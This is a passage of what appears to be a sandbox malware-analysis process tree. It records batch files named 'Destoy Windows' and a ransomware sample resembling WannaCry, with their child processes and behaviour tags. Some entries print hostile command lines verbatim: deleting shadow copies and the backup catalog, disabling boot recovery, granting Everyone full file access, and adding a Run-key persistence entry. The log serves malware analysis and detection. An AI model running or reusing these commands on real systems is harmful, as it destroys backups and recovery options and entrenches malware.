                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6516 /prefetch:8
                                                                                                                          2⤵
                                                                                                                            PID:3136
                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                          1⤵
                                                                                                                            PID:2836
                                                                                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:4980
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Destoy Windows-2.bat" "
                                                                                                                              1⤵
                                                                                                                                PID:3616
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Destoy Windows-1.bat" "
                                                                                                                                1⤵
                                                                                                                                • Drops file in Drivers directory
                                                                                                                                • Manipulates Digital Signatures
                                                                                                                                • Boot or Logon Autostart Execution: Print Processors
                                                                                                                                • Drops desktop.ini file(s)
                                                                                                                                • Drops autorun.inf file
                                                                                                                                • Drops file in System32 directory
                                                                                                                                • Modifies termsrv.dll
                                                                                                                                • Drops file in Program Files directory
                                                                                                                                • Drops file in Windows directory
                                                                                                                                PID:1392
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\spam cmd.bat" "
                                                                                                                                1⤵
                                                                                                                                  PID:2736
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    cmd.exe
                                                                                                                                    2⤵
                                                                                                                                      PID:3940
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      cmd.exe
                                                                                                                                      2⤵
                                                                                                                                        PID:4024
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        cmd.exe
                                                                                                                                        2⤵
                                                                                                                                          PID:2320
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          cmd.exe
                                                                                                                                          2⤵
                                                                                                                                            PID:2288
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            cmd.exe
                                                                                                                                            2⤵
                                                                                                                                              PID:3824
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              cmd.exe
                                                                                                                                              2⤵
                                                                                                                                                PID:4252
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                cmd.exe
                                                                                                                                                2⤵
                                                                                                                                                  PID:920
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  cmd.exe
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4988
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    cmd.exe
                                                                                                                                                    2⤵
                                                                                                                                                      PID:5212
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      cmd.exe
                                                                                                                                                      2⤵
                                                                                                                                                        PID:6000
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        cmd.exe
                                                                                                                                                        2⤵
                                                                                                                                                          PID:4312
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          cmd.exe
                                                                                                                                                          2⤵
                                                                                                                                                            PID:460
                                                                                                                                                            • C:\Windows\system32\SlideToShutDown.exe
                                                                                                                                                              slidetoshutdown
                                                                                                                                                              3⤵
                                                                                                                                                                PID:8040
                                                                                                                                                              • C:\Windows\system32\SlideToShutDown.exe
                                                                                                                                                                slidetoshutdown.exe
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:2876
                                                                                                                                                                • C:\Windows\system32\SlideToShutDown.exe
                                                                                                                                                                  slidetoshutdown
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1892
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  cmd.exe
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:6036
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    cmd.exe
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:3880
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      cmd.exe
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:4704
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        cmd.exe
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1732
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          cmd.exe
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:4428
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            cmd.exe
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:3448
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              cmd.exe
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:1480
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                cmd.exe
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:3608
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  cmd.exe
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:3964
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    cmd.exe
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:5976
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      cmd.exe
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:6028
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        cmd.exe
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:5904
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          cmd.exe
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:556
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            cmd.exe
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:4760
                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                              cmd.exe
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:5192
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                cmd.exe
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:3100
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  cmd.exe
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:6116
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    cmd.exe
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:1980
                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                      cmd.exe
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:2188
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        cmd.exe
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:5064
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          cmd.exe
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:5608
                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                            cmd.exe
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:3104
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              cmd.exe
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:5800
                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                cmd.exe
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:2712
                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                  cmd.exe
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1208
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    cmd.exe
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:512
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      cmd.exe
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:5180
                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                        cmd.exe
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:5048
                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                          cmd.exe
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:6200
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            cmd.exe
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:6216
                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                              cmd.exe
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:6240
                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                cmd.exe
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:6264
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  cmd.exe
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:6276
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    cmd.exe
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:6324
                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                      cmd.exe
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:6348
                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                        cmd.exe
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:6404
                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                          cmd.exe
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:6512
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            cmd.exe
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:6588
                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                              cmd.exe
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:6604
                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                cmd.exe
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:6612
                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                  cmd.exe
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:6620
                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                    cmd.exe
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:6628
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      cmd.exe
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:7144
                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                      • Drops startup file
                                                                                                                                                                                                                                                      • Sets desktop wallpaper using registry
                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                      PID:220
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                        attrib +h .
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Views/modifies file attributes
                                                                                                                                                                                                                                                        PID:6084
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                        icacls . /grant Everyone:F /T /C /Q
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:5760
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskdl.exe
                                                                                                                                                                                                                                                        taskdl.exe
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:6548
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c 94101734619639.bat
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:6780
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                        attrib +h +s F:\$RECYCLE
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Views/modifies file attributes
                                                                                                                                                                                                                                                        PID:1684
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        @[email protected] co
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                        PID:6124
                                                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\TaskData\Tor\taskhsvc.exe
                                                                                                                                                                                                                                                          TaskData\Tor\taskhsvc.exe
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                          PID:7140
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        cmd.exe /c start /b @[email protected] vs
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:6964
                                                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                          @[email protected] vs
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                          PID:6824
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                            PID:6100
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                              wmic shadowcopy delete
                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                              PID:4876
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskse.exe
                                                                                                                                                                                                                                                        taskse.exe C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                        PID:6888
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        @[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • Sets desktop wallpaper using registry
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                        PID:5920
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nzfbkoaczl750" /t REG_SZ /d "\"C:\Users\Admin\Desktop\tasksche.exe\"" /f
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:6832
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nzfbkoaczl750" /t REG_SZ /d "\"C:\Users\Admin\Desktop\tasksche.exe\"" /f
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                          PID:4032
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskse.exe
                                                                                                                                                                                                                                                        taskse.exe C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                        PID:7292
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskdl.exe
                                                                                                                                                                                                                                                        taskdl.exe
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:7524
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        @[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                        PID:7552
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskse.exe
                                                                                                                                                                                                                                                        taskse.exe C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                        PID:5884
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        @[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                        PID:4148
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskdl.exe
                                                                                                                                                                                                                                                        taskdl.exe
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:1020
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskse.exe
                                                                                                                                                                                                                                                        taskse.exe C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                        PID:6336
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        @[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                        PID:6440
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskdl.exe
                                                                                                                                                                                                                                                        taskdl.exe
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:6476
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskse.exe
                                                                                                                                                                                                                                                        taskse.exe C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:7376
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        @[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                        PID:3480
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskdl.exe
                                                                                                                                                                                                                                                        taskdl.exe
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:8140
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskse.exe
                                                                                                                                                                                                                                                        taskse.exe C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:7704
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        @[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                        PID:8008
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskdl.exe
                                                                                                                                                                                                                                                        taskdl.exe
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:7280
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskse.exe
                                                                                                                                                                                                                                                        taskse.exe C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:4732
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\@[email protected]
                                                                                                                                                                                                                                                        @[email protected]
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                        PID:5884
                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\taskdl.exe
                                                                                                                                                                                                                                                        taskdl.exe
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:7908
                                                                                                                                                                                                                                                    • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                      PID:5732
                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                      PID:4880
                                                                                                                                                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:7808
                                                                                                                                                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                        C:\Windows\System32\svchost.exe -k UnistackSvcGroup
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                        PID:7900
                                                                                                                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                        "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:7944
                                                                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                          "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:7460
                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                            "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.Search_cw5n1h2txyewy
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:7472
                                                                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                              "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                PID:7512
                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                                                                                • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                PID:7580
                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                PID:7292
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                  attrib +h .
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                  • Views/modifies file attributes
                                                                                                                                                                                                                                                                  PID:7400
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
